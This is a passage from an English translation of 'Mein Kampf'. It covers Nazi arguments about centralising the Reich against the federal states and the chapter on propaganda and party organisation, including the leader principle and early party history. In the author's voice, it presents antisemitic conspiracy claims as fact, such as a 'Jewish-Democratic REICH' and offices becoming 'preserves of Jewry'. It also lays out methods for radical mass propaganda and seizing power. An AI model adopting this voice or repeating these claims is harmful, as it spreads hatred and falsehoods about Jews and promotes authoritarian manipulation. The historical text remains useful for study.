interests, to abolish the existence +of the individual states. They were the victims of their own defaults. + +It was an unparalleled example of hypocrisy to raise the cry of +lamentation over the loss which the federal states suffered in being +deprived of their sovereign rights. This cry was raised before the +electorate, for it is only to the electorate that our contemporary +parties address themselves. But these parties, without exception, outbid +one another in accepting a policy of fulfilment which, by the sheer +force of circumstances and in its ultimate consequences, could not but +lead to a profound alteration in the internal structure of the REICH. +Bismarck's REICH was free and unhampered by any obligations towards the +outside world. + +Bismarck's REICH never had to shoulder such heavy and entirely +unproductive obligations as those to which Germany was subjected under +the Dawes Plan. Also in domestic affairs Bismarck's REICH was able to +limit its powers to a few matters that were absolutely necessary for its +existence. Therefore it could dispense with the necessity of a financial +control over these states and could live from their contributions. On +the other side the relatively small financial tribute which the federal +states had to pay to the REICH induced them to welcome its existence. +But it is untrue and unjust to state now, as certain propagandists do, +that the federal states are displeased with the REICH merely because of +their financial subjection to it. No, that is not how the matter really +stands. The lack of sympathy for the political idea embodied in the +REICH is not due to the loss of sovereign rights on the part of the +individual states. It is much more the result of the deplorable fashion +in which the present régime cares for the interests of the German +people. Despite all the celebrations in honour of the national flag and +the Constitution, every section of the German people feels that the +present REICH is not in accordance with its heart's desire. And the Law +for the Protection of the Republic may prevent outrages against +republican institutions, but it will not gain the love of one single +German. In its constant anxiety to protect itself against its own +citizens by means of laws and sentences of imprisonment, the Republic +has aroused sharp and humiliating criticism of all republican +institutions as such. + +For another reason also it is untrue to say, as certain parties affirm +to-day, that the REICH has ceased to be popular on account of its +overbearing conduct in regard to certain sovereign rights which the +individual states had heretofore enjoyed. Supposing the REICH had not +extended its authority over the individual states, there is no reason to +believe that it would find more favour among those states if the general +obligations remained so heavy as they now are. On the contrary, if the +individual states had to pay their respective shares of the highly +increased tribute which the REICH has to meet to-day in order to fulfil +the provisions of the Versailles Dictate, the hostility towards the +REICH would be infinitely greater. For then not only would it prove +difficult to collect the respective contributions due to the REICH from +the federal states, but coercive methods would have to be employed in +making the collections. The Republic stands on the footing of the peace +treaties and has neither the courage nor the intention to break them. +That being so, it must observe the obligations which the peace treaties +have imposed on it. The responsibility for this situation is to be +attributed solely to those parties who preach unceasingly to the patient +electoral masses on the necessity of maintaining the autonomy of the +federal states, while at the same time they champion and demand of the +REICH a policy which must necessarily lead to the suppression of even +the very last of those so-called 'sovereign' rights. + +I say NECESSARILY because the present REICH has no other possible means +of bearing the burden of charges which an insane domestic and foreign +policy has laid on it. Here still another wedge is placed on the former, +to drive it in still deeper. Every new debt which the REICH contracts, +through the criminal way in which the interests of Germany are +represented VIS-À-VIS foreign countries, necessitates a new and stronger +blow which drives the under wedges still deeper, That blow demands +another step in the progressive abolition of the sovereign rights of the +individual states, so as not to allow the germs of opposition to rise up +into activity or even to exist. + +The chief characteristic difference between the policy of the present +REICH and that of former times lies in this: The old REICH gave freedom +to its people at home and showed itself strong towards the outside +world, whereas the Republic shows itself weak towards the stranger and +oppresses its own citizens at home. In both cases one attitude +determines the other. A vigorous national State does not need to make +many laws for the interior, because of the affection and attachment of +its citizens. The international servile State can live only by coercing +its citizens to render it the services it demands. And it is a piece of +impudent falsehood for the present regime to speak of 'Free citizens'. +Only the old Germany could speak in that manner. The present Republic is +a colony of slaves at the service of the stranger. At best it has +subjects, but not citizens. Hence it does not possess a national flag +but only a trade mark, introduced and protected by official decree and +legislative measures. This symbol, which is the Gessler's cap of German +Democracy, will always remain alien to the spirit of our people. On its +side, the Republic having no sense of tradition or respect for past +greatness, dragged the symbol of the past in the mud, but it will be +surprised one day to discover how superficial is the devotion of its +citizens to its own symbol. The Republic has given to itself the +character of an intermezzo in German history. And so this State is bound +constantly to restrict more and more the sovereign rights of the +individual states, not only for general reasons of a financial character +but also on principle. For by enforcing a policy of financial blackmail, +to squeeze the last ounce of substance out of its people, it is forced +also to take their last rights away from them, lest the general +discontent may one day flame up into open rebellion. + +We, National Socialists, would reverse this formula and would adopt the +following axiom: A strong national REICH which recognizes and protects +to the largest possible measure the rights of its citizens both within +and outside its frontiers can allow freedom to reign at home without +trembling for the safety of the State. On the other hand, a strong +national Government can intervene to a considerable degree in the +liberties of the individual subject as well as in the liberties of the +constituent states without thereby weakening the ideal of the REICH; and +it can do this while recognizing its responsibility for the ideal of the +REICH, because in these particular acts and measures the individual +citizen recognizes a means of promoting the prestige of the nation as a +whole. + +Of course, every State in the world has to face the question of +unification in its internal organization. And Germany is no exception in +this matter. Nowadays it is absurd to speak of 'statal sovereignty' for +the constituent states of the REICH, because that has already become +impossible on account of the ridiculously small size of so many of these +states. In the sphere of commerce as well as that of administration the +importance of the individual states has been steadily decreasing. Modern +means of communication and mechanical progress have been increasingly +restricting distance and space. What was once a State is to-day only a +province and the territory covered by a modern State had once the +importance of a continent. The purely technical difficulty of +administering a State like Germany is not greater than that of governing +a province like Brandenburg a hundred years ago. And to-day it is easier +to cover the distance from Munich to Berlin than it was to cover the +distance from Munich to Starnberg a hundred years ago. In view of the +modern means of transport, the whole territory of the REICH to-day is +smaller than that of certain German federal states at the time of the +Napoleonic wars. To close one's eyes to the consequences of these facts +means to live in the past. There always were, there are and always will +be, men who do this. They may retard but they cannot stop the +revolutions of history. + +We, National Socialists, must not allow the consequences of that truth +to pass by us unnoticed. In these matters also we must not permit +ourselves to be misled by the phrases of our so-called national +bourgeois parties. I say 'phrases', because these same parodies do not +seriously believe that it is possible for them to carry out their +proposals, and because they themselves are the chief culprits and also +the accomplices responsible for the present state of affairs. Especially +in Bavaria, the demands for a halt in the process of centralization can +be no more than a party move behind which there is no serious idea. If +these parties ever had to pass from the realm of phrase-making into that +of practical deeds they would present a sorry spectacle. Every so-called +'Robbery of Sovereign Rights' from Bavaria by the REICH has met with no +practical resistance, except for some fatuous barking by way of protest. +Indeed, when anyone seriously opposed the madness that was shown in +carrying out this system of centralization he was told by those same +parties that he understood nothing of the nature and needs of the State +to-day. They slandered him and pronounced him anathema and persecuted +him until he was either shut up in prison or illegally deprived of the +right of public speech. In the light of these facts our followers should +become all the more convinced of the profound hypocrisy which +characterizes these so-called federalist circles. To a certain extent +they use the federalist doctrine just as they use the name of religion, +merely as a means of promoting their own base party interests. + +A certain unification, especially in the field of transport, appears +logical. But we, National Socialists, feel it our duty to oppose with +all our might such a development in the modern State, especially when +the measures proposed are solely for the purpose of screening a +disastrous foreign policy and making it possible. And just because the +present REICH has threatened to take over the railways, the posts, the +finances, etc., not from the high standpoint of a national policy, but +in order to have in its hands the means and pledges for an unlimited +policy of fulfilment--for that reason we, National Socialists, must take +every step that seems suitable to obstruct and, if possible, definitely +to prevent such a policy. We must fight against the present system of +amalgamating institutions that are vitally important for the existence +of our people, because this system is being adopted solely to facilitate +the payment of milliards and the transference of pledges to the +stranger, under the post-War provisions which our politicians have +accepted. + +For these reasons also the National Socialist Movement has to take up a +stand against such tendencies. + +Moreover, we must oppose such centralization because in domestic affairs +it helps to reinforce a system of government which in all its +manifestations has brought the greatest misfortunes on the German +nation. The present Jewish-Democratic REICH, which has become a +veritable curse for the German people, is seeking to negative the force +of the criticism offered by all the federal states which have not yet +become imbued with the spirit of the age, and is trying to carry out +this policy by crushing them to the point of annihilation. In face of +this we National Socialists must try to ground the opposition of the +individual states on such a basis that it will be able to operate with a +good promise of success. We must do this by transforming the struggle +against centralization into something that will be an expression of the +higher interests of the German nation as such. Therefore, while the +Bavarian Populist Party, acting from its own narrow and particularist +standpoint, fights to maintain the 'special rights' of the Bavarian +State, we ought to stand on quite a different ground in fighting for the +same rights. Our grounds ought to be those of the higher national +interests in opposition to the November Democracy. + +A still further reason for opposing a centralizing process of that kind +arises from the certain conviction that in great part this so-called +nationalization does not make for unification at all and still less for +simplification. In many cases it is adopted simply as a means of +removing from the sovereign control of the individual states certain +institutions which they wish to place in the hands of the revolutionary +parties. In German History favouritism has never been of so base a +character as in the democratic republic. A great portion of this +centralization to-day is the work of parties which once promised that +they would open the way for the promotion of talent, meaning thereby +that they would fill those posts and offices entirely with their own +partisans. Since the foundation of the Republic the Jews especially have +been obtaining positions in the economic institutions taken over by the +REICH and also positions in the national administration, so that the one +and the other have become preserves of Jewry. + +For tactical reasons, this last consideration obliges us to watch with +the greatest attention every further attempt at centralization and fight +it at each step. But in doing this our standpoint must always be that of +a lofty national policy and never a pettifogging particularism. + +This last observation is necessary, lest an opinion might arise among +our own followers that we do not accredit to the REICH the right of +incorporating in itself a sovereignty which is superior to that of the +constituent states. As regards this right we cannot and must not +entertain the slightest doubt. Because for us the State is nothing but a +form. Its substance, or content, is the essential thing. And that is the +nation, the people. It is clear therefore that every other interest must +be subordinated to the supreme interests of the nation. In particular we +cannot accredit to any other state a sovereign power and sovereign +rights within the confines of the nation and the REICH, which represents +the nation. The absurdity which some federal states commit by +maintaining 'representations' abroad and corresponding foreign +'representations' among themselves--that must cease and will cease. +Until this happens we cannot be surprised if certain foreign countries +are dubious about the political unity of the REICH and act accordingly. +The absurdity of these 'representations' is all the greater because they +do harm and do not bring the slightest advantage. If the interests of a +German abroad cannot be protected by the ambassador of the REICH, much +less can they be protected by the minister from some small federal state +which appears ridiculous in the framework of the present world order. +The real truth is that these small federal states are envisaged as +points of attack for attempts at secession, which prospect is always +pleasing to a certain foreign State. We, National Socialists, must not +allow some noble caste which has become effete with age to occupy an +ambassadorial post abroad, with the idea that by engrafting one of its +withered branches in new soil the green leaves may sprout again. Already +in the time of the old REICH our diplomatic representatives abroad were +such a sorry lot that a further trial of that experience would be out of +the question. + +It is certain that in the future the importance of the individual states +will be transferred to the sphere of our cultural policy. The monarch +who did most to make Bavaria an important centre was not an obstinate +particularist with anti-German tendencies, but Ludwig I who was as much +devoted to the ideal of German greatness as he was to that of art. His +first consideration was to use the powers of the state to develop the +cultural position of Bavaria and not its political power. And in doing +this he produced better and more durable results than if he had followed +any other line of conduct. Up to this time Munich was a provincial +residence town of only small importance, but he transformed it into the +metropolis of German art and by doing so he made it an intellectual +centre which even to-day holds Franconia to Bavaria, though the +Franconians are of quite a different temperament. If Munich had remained +as it had been earlier, what has happened in Saxony would have been +repeated in Bavaria, with the difference that Leipzig and Bavarian +Nürnberg would have become, not Bavarian but Franconian cities. It was +not the cry of "Down with Prussia" that made Munich great. What made +this a city of importance was the King who wished to present it to the +German nation as an artistic jewel that would have to be seen and +appreciated, and so it has turned out in fact. Therein lies a lesson for +the future. The importance of the individual states in the future will +no longer lie in their political or statal power. I look to them rather +as important ethnical and cultural centres. But even in this respect +time will do its levelling work. Modern travelling facilities shuffle +people among one another in such a way that tribal boundaries will fade +out and even the cultural picture will gradually become more of a +uniform pattern. + +The army must definitely be kept clear of the influence of the +individual states. The coming National Socialist State must not fall +back into the error of the past by imposing on the army a task which is +not within its sphere and never should have been assigned to it. The +German army does not exist for the purpose of being a school in which +tribal particularisms are to be cultivated and preserved, but rather as +a school for teaching all the Germans to understand and adapt their +habits to one another. Whatever tends to have a separating influence in +the life of the nation ought to be made a unifying influence in the +army. The army must raise the German boy above the narrow horizon of his +own little native province and set him within the broad picture of the +nation. The youth must learn to know, not the confines of his own region +but those of the fatherland, because it is the latter that he will have +to defend one day. It is therefore absurd to have the German youth do +his military training in his own native region. During that period he +ought to learn to know Germany. This is all the more important to-day, +since young Germans no longer travel on their own account as they once +used to do and thus enlarge their horizon. In view of this, is it not +absurd to leave the young Bavarian recruit at Munich, the recruit from +Baden at Baden itself and the Württemberger at Stuttgart and so on? And +would it not be more reasonable to show the Rhine and the North Sea to +the Bavarian, the Alps to the native of Hamburg and the mountains of +Central Germany to the boy from East Prussia? The character proper to +each region ought to be maintained in the troops but not in the training +garrisons. We may disapprove of every attempt at unification but not +that of unifying the army. On the contrary, even though we should wish +to welcome no other kind of unification, this must be greeted with joy. +In view of the size of the present army of the REICH, it would be absurd +to maintain the federal divisions among the troops. Moreover, in the +unification of the German army which has actually been effected we see a +fact which we must not renounce but restore in the future national army. + +Finally a new and triumphant idea should burst every chain which tends +to paralyse its efforts to push forward. National Socialism must claim +the right to impose its principles on the whole German nation, without +regard to what were hitherto the confines of federal states. And we must +educate the German nation in our ideas and principles. As the Churches +do not feel themselves bound or limited by political confines, so the +National Socialist Idea cannot feel itself limited to the territories of +the individual federal states that belong to our Fatherland. + +The National Socialist doctrine is not handmaid to the political +interests of the single federal states. One day it must become teacher +to the whole German nation. It must determine the life of the whole +people and shape that life anew. For this reason we must imperatively +demand the right to overstep boundaries that have been traced by a +political development which we repudiate. + +The more completely our ideas triumph, the more liberty can we concede +in particular affairs to our citizens at home. + + + + +CHAPTER XI + + + +PROPAGANDA AND ORGANIZATION + + +The year 1921 was specially important for me from many points of view. + +When I entered the German Labour Party I at once took charge of the +propaganda, believing this branch to be far the most important for the +time being. Just then it was not a matter of pressing necessity to +cudgel one's brains over problems of organization. The first necessity +was to spread our ideas among as many people as possible. Propaganda +should go well ahead of organization and gather together the human +material for the latter to work up. I have never been in favour of hasty +and pedantic methods of organization, because in most cases the result +is merely a piece of dead mechanism and only rarely a living +organization. Organization is a thing that derives its existence from +organic life, organic evolution. When the same set of ideas have found a +lodgement in the minds of a certain number of people they tend of +themselves to form a certain degree of order among those people and out +of this inner formation something that is very valuable arises. Of +course here, as everywhere else, one must take account of those human +weaknesses which make men hesitate, especially at the beginning, to +submit to the control of a superior mind. If an organization is imposed +from above downwards in a mechanical fashion, there is always the danger +that some individual may push himself forward who is not known for what +he is and who, out of jealousy, will try to hinder abler persons from +taking a leading place in the movement. The damage that results from +that kind of thing may have fatal consequences, especially in a new +movement. + +For this reason it is advisable first to propagate and publicly expound +the ideas on which the movement is founded. This work of propaganda +should continue for a certain time and should be directed from one +centre. When the ideas have gradually won over a number of people this +human material should be carefully sifted for the purpose of selecting +those who have ability in leadership and putting that ability to the +test. It will often be found that apparently insignificant persons will +nevertheless turn out to be born leaders. + +Of course, it is quite a mistake to suppose that those who show a very +intelligent grasp of the theory underlying a movement are for that +reason qualified to fill responsible positions on the directorate. The +contrary is very frequently the case. + +Great masters of theory are only very rarely great organizers also. And +this is because the greatness of the theorist and founder of a system +consists in being able to discover and lay down those laws that are +right in the abstract, whereas the organizer must first of all be a man +of psychological insight. He must take men as they are, and for that +reason he must know them, not having too high or too low an estimate of +human nature. He must take account of their weaknesses, their baseness +and all the other various characteristics, so as to form something out +of them which will be a living organism, endowed with strong powers of +resistance, fitted to be the carrier of an idea and strong enough to +ensure the triumph of that idea. + +But it is still more rare to find a great theorist who is at the same +time a great leader. For the latter must be more of an agitator, a truth +that will not be readily accepted by many of those who deal with +problems only from the scientific standpoint. And yet what I say is only +natural. For an agitator who shows himself capable of expounding ideas +to the great masses must always be a psychologist, even though he may be +only a demagogue. Therefore he will always be a much more capable leader +than the contemplative theorist who meditates on his ideas, far from the +human throng and the world. For to be a leader means to be able to move +the masses. The gift of formulating ideas has nothing whatsoever to do +with the capacity for leadership. It would be entirely futile to discuss +the question as to which is the more important: the faculty of +conceiving ideals and human aims or that of being able to have them put +into practice. Here, as so often happens in life, the one would be +entirely meaningless without the other. The noblest conceptions of the +human understanding remain without purpose or value if the leader cannot +move the masses towards them. And, conversely, what would it avail to +have all the genius and elan of a leader if the intellectual theorist +does not fix the aims for which mankind must struggle. But when the +abilities of theorist and organizer and leader are united in the one +person, then we have the rarest phenomenon on this earth. And it is that +union which produces the great man. + +As I have already said, during my first period in the Party I devoted +myself to the work of propaganda. I had to succeed in gradually +gathering together a small nucleus of men who would accept the new +teaching and be inspired by it. And in this way we should provide the +human material which subsequently would form the constituent elements of +the organization. Thus the goal of the propagandist is nearly always +fixed far beyond that of the organizer. + +If a movement proposes to overthrow a certain order of things and +construct a new one in its place, then the following principles must be +clearly understood and must dominate in the ranks of its leadership: +Every movement which has gained its human material must first divide +this material into two groups: namely, followers and members. + +It is the task of the propagandist to recruit the followers and it is +the task of the organizer to select the members. + +The follower of a movement is he who understands and accepts its aims; +the member is he who fights for them. + +The follower is one whom the propaganda has converted to the doctrine of +the movement. The member is he who will be charged by the organization +to collaborate in winning over new followers from which in turn new +members can be formed. + +To be a follower needs only the passive recognition of the idea. To be a +member means to represent that idea and fight for it. From ten followers +one can have scarcely more than two members. To be a follower simply +implies that a man has accepted the teaching of the movement; whereas to +be a member means that a man has the courage to participate actively in +diffusing that teaching in which he has come to believe. + +Because of its passive character, the simple effort of believing in a +political doctrine is enough for the majority, for the majority of +mankind is mentally lazy and timid. To be a member one must be +intellectually active, and therefore this applies only to the minority. + +Such being the case, the propagandist must seek untiringly to acquire +new followers for the movement, whereas the organizer must diligently +look out for the best elements among such followers, so that these +elements may be transformed into members. The propagandist need not +trouble too much about the personal worth of the individual proselytes +he has won for the movement. He need not inquire into their abilities, +their intelligence or character. From these proselytes, however, the +organizer will have to select those individuals who are most capable of +actively helping to bring the movement to victory. + +The propagandist aims at inducing the whole people to accept his +teaching. The organizer includes in his body of membership only those +who, on psychological grounds, will not be an impediment to the further +diffusion of the doctrines of the movement. + +The propagandist inculcates his doctrine among the masses, with the idea +of preparing them for the time when this doctrine will triumph, through +the body of combatant members which he has formed from those followers +who have given proof of the necessary ability and will-power to carry +the struggle to victory. + +The final triumph of a doctrine will be made all the more easy if the +propagandist has effectively converted large bodies of men to the belief +in that doctrine and if the organization that actively conducts the +fight be exclusive, vigorous and solid. + +When the propaganda work has converted a whole people to believe in a +doctrine, the organization can turn the results of this into practical +effect through the work of a mere handful of men. Propaganda and +organization, therefore follower and member, then stand towards one +another in a definite mutual relationship. The better the propaganda has +worked, the smaller will the organization be. The greater the number of +followers, so much the smaller can be the number of members. And +conversely. If the propaganda be bad, the organization must be large. +And if there be only a small number of followers, the membership must be +all the larger--if the movement really counts on being successful. + +The first duty of the propagandist is to win over people who can +subsequently be taken into the organization. And the first duty of the +organization is to select and train men who will be capable of carrying +on the propaganda. The second duty of the organization is to disrupt the +existing order of things and thus make room for the penetration of the +new teaching which it represents, while the duty of the organizer must +be to fight for the purpose of securing power, so that the doctrine may +finally triumph. + +A revolutionary conception of the world and human existence will always +achieve decisive success when the new WELTANSCHAUUNG has been taught to +a whole people, or subsequently forced upon them if necessary, and when, +on the other hand, the central organization, the movement itself, is in +the hands of only those few men who are absolutely indispensable to form +the nerve-centres of the coming State. + +Put in another way, this means that in every great revolutionary +movement that is of world importance the idea of this movement must +always be spread abroad through the operation of propaganda. The +propagandist must never tire in his efforts to make the new ideas +clearly understood, inculcating them among others, or at least he must +place himself in the position of those others and endeavour to upset +their confidence in the convictions they have hitherto held. In order +that such propaganda should have backbone to it, it must be based on an +organization. The organization chooses its members from among those +followers whom the propaganda has won. That organization will become all +the more vigorous if the work of propaganda be pushed forward +intensively. And the propaganda will work all the better when the +organization back of it is vigorous and strong in itself. + +Hence the supreme task of the organizer is to see to it that any discord +or differences which may arise among the members of the movement will +not lead to a split and thereby cramp the work within the movement. +Moreover, it is the duty of the organization to see that the fighting +spirit of the movement does not flag or die out but that it is +constantly reinvigorated and restrengthened. It is not necessary the +number of members should increase indefinitely. Quite the contrary would +be better. In view of the fact that only a fraction of humanity has +energy and courage, a movement which increases its own organization +indefinitely must of necessity one day become plethoric and inactive. +Organizations, that is to say, groups of members, which increase their +size beyond certain dimensions gradually lose their fighting force and +are no longer in form to back up the propagation of a doctrine with +aggressive elan and determination. + +Now the greater and more revolutionary a doctrine is, so much the more +active will be the spirit inspiring its body of members, because the +subversive energy of such a doctrine will frighten way the +chicken-hearted and small-minded bourgeoisie. In their hearts they may +believe in the doctrine but they are afraid to acknowledge their belief +openly. By reason of this very fact, however, an organization inspired +by a veritable revolutionary idea will attract into the body of its +membership only the most active of those believers who have been won for +it by its propaganda. It is in this activity on the part of the +membership body, guaranteed by the process of natural selection, that we +are to seek the prerequisite conditions for the continuation of an +active and spirited propaganda and also the victorious struggle for the +success of the idea on which the movement is based. + +The greatest danger that can threaten a movement is an abnormal increase +in the number of its members, owing to its too rapid success. So long as +a movement has to carry on a hard and bitter fight, people of weak and +fundamentally egotistic temperament will steer very clear of it; but +these will try to be accepted as members the moment the party achieves a +manifest success in the course of its development. + +It is on these grounds that we are to explain why so many movements +which were at first successful slowed down before reaching the +fulfilment of their purpose and, from an inner weakness which could not +otherwise be explained, gave up the struggle and finally disappeared +from the field. As a result of the early successes achieved, so many +undesirable, unworthy and especially timid individuals became members of +the movement that they finally secured the majority and stifled the +fighting spirit of the others. These inferior elements then turned the +movement to the service of their personal interests and, debasing it to +the level of their own miserable heroism, no longer struggled for the +triumph of the original idea. The fire of the first fervour died out, +the fighting spirit flagged and, as the bourgeois world is accustomed to +say very justly in such cases, the party mixed water with its wine. + +For this reason it is necessary that a movement should, from the sheer +instinct of self-preservation, close its lists to new membership the +moment it becomes successful. And any further increase in its +organization should be allowed to take place only with the most careful +foresight and after a painstaking sifting of those who apply for +membership. Only thus will it be possible to keep the kernel of the +movement intact and fresh and sound. Care must be taken that the conduct +of the movement is maintained exclusively in the hands of this original +nucleus. This means that the nucleus must direct the propaganda which +aims at securing general recognition for the movement. And the movement +itself, when it has secured power in its hands, must carry out all those +acts and measures which are necessary in order that its ideas should be +finally established in practice. + +With those elements that originally made the movement, the organization +should occupy all the important positions that have been conquered and +from those elements the whole directorate should be formed. This should +continue until the maxims and doctrines of the party have become the +foundation and policy of the new State. Only then will it be permissible +gradually to give the reins into the hands of the Constitution of that +State which the spirit of the movement has created. But this usually +happens through a process of mutual rivalry, for here it is less a +question of human intelligence than of the play and effect of the forces +whose development may indeed be foreseen from the start but not +perpetually controlled. + +All great movements, whether of a political or religious nature, owe +their imposing success to the recognition and adoption of those +principles. And no durable success is conceivable if these laws are not +observed. + +As director of propaganda for the party, I took care not merely to +prepare the ground for the greatness of the movement in its subsequent +stages, but I also adopted the most radical measures against allowing +into the organization any other than the best material. For the more +radical and exciting my propaganda was, the more did it frighten weak +and wavering characters away, thus preventing them from entering the +first nucleus of our organization. Perhaps they remained followers, but +they did not raise their voices. On the contrary, they maintained a +discreet silence on the fact. Many thousands of persons then assured me +that they were in full agreement with us but they could not on any +account become members of our party. They said that the movement was so +radical that to take part in it as members would expose them to grave +censures and grave dangers, so that they would rather continue to be +looked upon as honest and peaceful citizens and remain aside, for the +time being at least, though devoted to our cause with all their hearts. + +And that was all to the good. If all these men who in their hearts did +not approve of revolutionary ideas came into our movement as members at +that time, we should be looked upon as a pious confraternity to-day and +not as a young movement inspired with the spirit of combat. + +The lively and combative form which I gave to all our propaganda +fortified and guaranteed the radical tendency of our movement, and the +result was that, with a few exceptions, only men of radical views were +disposed to become members. + +It was due to the effect of our propaganda that within a short period of +time hundreds of thousands of citizens became convinced in their hearts +that we were right and wished us victory, although personally they were +too timid to make sacrifices for our cause or even participate in it. + +Up to the middle of 1921 this simple activity of gathering in followers +was sufficient and was of value to the movement. But in the summer of +that year certain events happened which made it seem opportune for us to +bring our organization into line with the manifest successes which the +propaganda had achieved. + +An attempt made by a group of patriotic visionaries, supported by the +chairman of the party at that time, to take over the direction of the +party led to the break up of this little intrigue and, by a unanimous +vote at a general meeting, entrusted the entire direction of the party +to my own hands. At the same time a new statute was passed which +invested sole responsibility in the chairman of the movement, abolished +the system of resolutions in committee and in its stead introduced the +principle of division of labour which since that time has worked +excellently. + +From August 1st, 1921, onwards I undertook this internal reorganization +of the party and was supported by a number of excellent men. I shall +mention them and their work individually later on. + +In my endeavour to turn the results gained by the propaganda to the +advantage of the organization and thus stabilize them, I had to abolish +completely a number of old customs and introduce regulations which none +of the other parties possessed or had adopted. + +In the years 1920-21 the movement was controlled by a committee elected +by the members at a general meeting. The committee was composed of a +first and second treasurer, a first and second secretary, and a first +and second chairman at the head of it. In addition to these there was a +representative of the members, the director of propaganda, and various +assessors. + +Comically enough, the committee embodied the very principle against +which the movement itself wanted to fight with all its energy, namely, +the principle of parliamentarianism. Here was a principle which +personified everything that was being opposed by the movement, from the +smallest local groups to the district and regional groups, the state +groups and finally the national directorate itself. It was a system +under which we all suffered and are still suffering. + +It was imperative to change this state of affairs forthwith, if this bad +foundation in the internal organization was not to keep the movement +insecure and render the fulfilment of its high mission impossible. + +The sessions of the committee, which were ruled by a protocol, and in +which decisions were made according to the vote of the majority, +presented the picture of a miniature parliament. Here also there was no +such thing as personal responsibility. And here reigned the same +absurdities and illogical state of affairs as flourish in our great +representative bodies of the State. Names were presented to this +committee for election as secretaries, treasurers, representatives of +the members of the organization, propaganda agents and God knows what +else. And then they all acted in common on every particular question and +decided it by vote. Accordingly, the director of propaganda voted on a +question that concerned the man who had to do with the finances and the +latter in his turn voted on a question that concerned only the +organization as such, the organizer voting on a subject that had to do +with the secretarial department, and so on. + +Why select a special man for propaganda if treasurers and scribes and +commissaries, etc., had to deliver judgment on questions concerning it? +To a person of commonsense that sort of thing seemed as incomprehensible +as it would be if in a great manufacturing concern the board of +directors were to decide on technical questions of production or if, +inversely, the engineers were to decide on questions of administration. + +I refused to countenance that kind of folly and after a short time I +ceased to appear at the meetings of the committee. I did nothing else +except attend to my own department of propaganda and I did not permit +any of the others to poke their heads into my activities. Conversely, I +did not interfere in the affairs of others. + +When the new statute was approved and I was appointed as president, I +had the necessary authority in my hands and also the corresponding right +to make short shrift of all that nonsense. In the place of decisions by +the majority vote of the committee, the principle of absolute +responsibility was introduced. + +The chairman is responsible for the whole control of the movement. He +apportions the work among the members of the committee subordinate to +him and for special work he selects other individuals. Each of these +gentlemen must bear sole responsibility for the task assigned to him. He +is subordinate only to the chairman, whose duty is to supervise the +general collaboration, selecting the personnel and giving general +directions for the co-ordination of the common work. + +This principle of absolute responsibility is being adopted little by +little throughout the movement. In the small local groups and perhaps +also in the regional and district groups it will take yet a long time +before the principle can be thoroughly imposed, because timid and +hesitant characters are naturally opposed to it. For them the idea of +bearing absolute responsibility for an act opens up an unpleasant +prospect. They would like to hide behind the shoulders of the majority +in the so-called committee, having their acts covered by decisions +passed in that way. But it seems to me a matter of absolute necessity to +take a decisive stand against that view, to make no concessions +whatsoever to this fear of responsibility, even though it takes some +time before we can put fully into effect this concept of duty and +ability in leadership, which will finally bring forward leaders who have +the requisite abilities to occupy the chief posts. + +In any case, a movement which must fight against the absurdity of +parliamentary institutions must be immune from this sort of thing. Only +thus will it have the requisite strength to carry on the struggle. + +At a time when the majority dominates everywhere else a movement which +is based on the principle of one leader who has to bear personal +responsibility for the direction of the official acts of the movement +itself will one day overthrow the present situation and triumph over the +existing regime. That is a mathematical certainty. + +This idea made it necessary to reorganize our movement internally. The +logical development of this reorganization brought about a clear-cut +distinction between the economic section of the movement and the general +political direction. The principle of personal responsibility was +extended to all the administrative branches of the party and it brought +about a healthy renovation, by liberating them from political influences +and allowing them to operate solely on economic principles. + +In the autumn of 1921, when the party was founded, there were only six +members. The party did not have any headquarters, nor officials, nor +formularies, nor a stamp, nor printed material of any sort. The +committee first held its sittings in a restaurant on the Herrengasse and +then in a café at Gasteig. This state of affairs could not last. So I at +once took action in the matter. I went around to several restaurants and +hotels in Munich, with the idea of renting a room in one of them for the +use of the Party. In the old Sterneckerbräu im Tal, there was a small +room with arched roof, which in earlier times was used as a sort of +festive tavern where the Bavarian Counsellors of the Holy Roman Empire +foregathered. It was dark and dismal and accordingly well suited to its +ancient uses, though less suited to the new purpose it was now destined +to serve. The little street on which its one window looked out was so +narrow that even on the brightest summer day the room remained dim and +sombre. Here we took up our first fixed abode. The rent came to fifty +marks per month, which was then an enormous sum for us. But our +exigencies had to be very modest. We dared not complain even when they +removed the wooden wainscoting a few days after we had taken possession. +This panelling had been specially put up for the Imperial Counsellors. +The place began to look more like a grotto than an office. + +Still it marked an important step forward. Slowly we had electric light +installed and later on a telephone. A table and some borrowed chairs +were brought, an open paper-stand and later on a cupboard. Two +sideboards, which belonged to the landlord, served to store our +leaflets, placards, etc. + +As time went on it turned out impossible to direct the course of the +movement merely by holding a committee meeting once a week. The current +business administration of the movement could not be regularly attended +to except we had a salaried official. + +But that was then very difficult for us. The movement had still so few +members that it was hard to find among them a suitable person for the +job who would be content with very little for himself and at the same +time would be ready to meet the manifold demands which the movement +would make on his time and energy. + +After long searching we discovered a soldier who consented to become our +first administrator. His name was Schüssler, an old war comrade of mine. +At first he came to our new office every day between six and eight +o'clock in the evening. Later on he came from five to eight and +subsequently for the whole afternoon. Finally it became a full-time job +and he worked in the office from morning until late at night. He was an +industrious, upright and thoroughly honest man, faithful and devoted to +the movement. He brought with him a small Adler typewriter of his own. +It was the first machine to be used in the service of the party. +Subsequently the party bought it by paying for it in installments. We +needed a small safe in order to keep our papers and register of +membership from danger of being stolen--not to guard our funds, which +did not then exist. On the contrary, our financial position was so +miserable that I often had to dip my hand into my own personal savings. + +After eighteen months our business quarters had become too small, so we +moved to a new place in the Cornelius Strasse. Again our office was in a +restaurant, but instead of one room we now had three smaller rooms and +one large room with great windows. At that time this appeared a +wonderful thing to us. We remained there until the end of November 1923. + +In December 1920, we acquired the VÖLKISCHER BEOBACHTER. This newspaper +which, as its name implies, championed the claims of the people, was now +to become the organ of the German National Socialist Labour Party. At +first it appeared twice weekly; but at the beginning of 1928 it became a +daily paper, and at the end of August in the same year it began to +appear in the large format which is now well known. + +As a complete novice in journalism I then learned many a lesson for +which I had to pay dearly. + +In contradistinction to the enormous number of papers in Jewish hands, +there was at that time only one important newspaper that defended the +cause of the people. This was a matter for grave consideration. As I +have often learned by experience, the reason for that state of things +must be attributed to the incompetent way in which the business side of +the so-called popular newspapers was managed. These were conducted too +much according to the rule that opinion should prevail over action that +produces results. Quite a wrong standpoint, for opinion is of itself +something internal and finds its best expression in productive activity. +The man who does valuable work for his people expresses thereby his +excellent sentiments, whereas another who merely talks about his +opinions and does nothing that is of real value or use to the people is +a person who perverts all right thinking. And that attitude of his is +also pernicious for the community. + +The VÖLKISCHE BEOBACHTER was a so-called 'popular' organ, as its name +indicated. It had all the good qualities, but still more the errors and +weaknesses, inherent in all popular institutions. Though its 